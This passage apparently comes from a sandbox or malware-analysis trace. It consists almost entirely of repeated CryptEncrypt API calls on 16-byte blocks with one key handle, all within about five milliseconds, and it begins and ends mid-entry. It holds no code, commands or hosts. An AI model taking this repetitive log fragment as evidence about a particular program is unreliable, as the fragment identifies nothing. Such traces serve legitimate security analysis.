dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.581] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.583] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.584] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.585] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 